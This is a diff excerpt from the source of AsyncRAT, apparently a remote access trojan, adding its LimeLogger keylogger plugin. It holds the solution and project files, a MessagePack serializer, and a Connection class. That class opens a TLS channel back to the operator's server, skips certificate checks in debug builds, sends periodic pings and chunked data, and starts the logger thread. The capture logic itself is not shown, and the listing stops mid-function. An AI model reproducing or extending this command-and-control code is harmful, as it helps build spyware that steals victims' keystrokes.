// │ Author : NYAN CAT // │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1 // │ Name : Nyan Socket v0.1
@ -21,7 +17,7 @@ using Client.Algorithm;
// This program is distributed for educational purposes only. // This program is distributed for educational purposes only.
namespace Client.Connection namespace Plugin
{ {
public class TempSocket public class TempSocket
{ {
@ -37,7 +33,7 @@ namespace Client.Connection
public TempSocket() public TempSocket()
{ {
if (!ClientSocket.IsConnected) return; if (!Connection.IsConnected) return;
try try
{ {
@ -47,7 +43,7 @@ namespace Client.Connection
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
}; };
TcpClient.Connect(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1])); TcpClient.Connect(Connection.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Connection.TcpClient.RemoteEndPoint.ToString().Split(':')[1]));
Debug.WriteLine("Temp Connected!"); Debug.WriteLine("Temp Connected!");
IsConnected = true; IsConnected = true;
@ -71,7 +67,7 @@ namespace Client.Connection
#if DEBUG #if DEBUG
return true; return true;
#endif #endif
return Settings.ServerCertificate.Equals(certificate); return Connection.ServerCertificate.Equals(certificate);
} }
public void Dispose() public void Dispose()
@ -98,7 +94,7 @@ namespace Client.Connection
{ {
try try
{ {
if (!ClientSocket.IsConnected || !IsConnected) if (!Connection.IsConnected || !IsConnected)
{ {
IsConnected = false; IsConnected = false;
Dispose(); Dispose();
@ -162,7 +158,7 @@ namespace Client.Connection
{ {
try try
{ {
if (!IsConnected || !ClientSocket.IsConnected) if (!IsConnected || !Connection.IsConnected)
{ {
Dispose(); Dispose();
return; return;

25
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29123.88
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LimeLogger", "LimeLogger\LimeLogger.csproj", "{DAFE686A-461B-402B-BBD7-2A2F4C87C773}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {2E2428AA-B37D-4539-89E0-B88E9A8AE931}
EndGlobalSection
EndGlobal

211
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs Normal file
View File

@ -0,0 +1,211 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Connection
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; }
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient()
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
if (TcpClient.Connected)
{
Debug.WriteLine("Plugin Connected!");
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4];
MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
new Thread(() =>
{
HandleLimeLogger.isON = true;
HandleLimeLogger.Run();
}).Start();
}
else
{
IsConnected = false;
return;
}
}
catch
{
Debug.WriteLine("Disconnected!");
IsConnected = false;
return;
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
return true;
#endif
return ServerCertificate.Equals(certificate);
}
public static void Disconnected()
{
try
{
IsConnected = false;
Tick?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
MS?.Dispose();
}
catch { }
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int recevied = SslClient.EndRead(ar);
if (recevied > 0)
{
MS.Write(Buffer, 0, recevied);
if (MS.Length == 4)
{
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
while (MS.Length != Buffersize)
{
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
if (rc == 0)
{
IsConnected = false;
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
MS.Dispose();
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
}
catch
{
IsConnected = false;
return;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected || msg == null)
{
return;
}
byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
if (msg.Length > 1000000) //1mb
{
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Debug.WriteLine("Plugin Packet Sent");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
Send(msgpack.Encode2Bytes());
GC.Collect();
}
}
}

55
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj Normal file
View File

@ -0,0 +1,55 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{DAFE686A-461B-402B-BBD7-2A2F4C87C773}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Plugin</RootNamespace>
<AssemblyName>LimeLogger</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

102
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs Normal file
View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

926
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs Normal file
View File

@ -0,0 +1,926 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
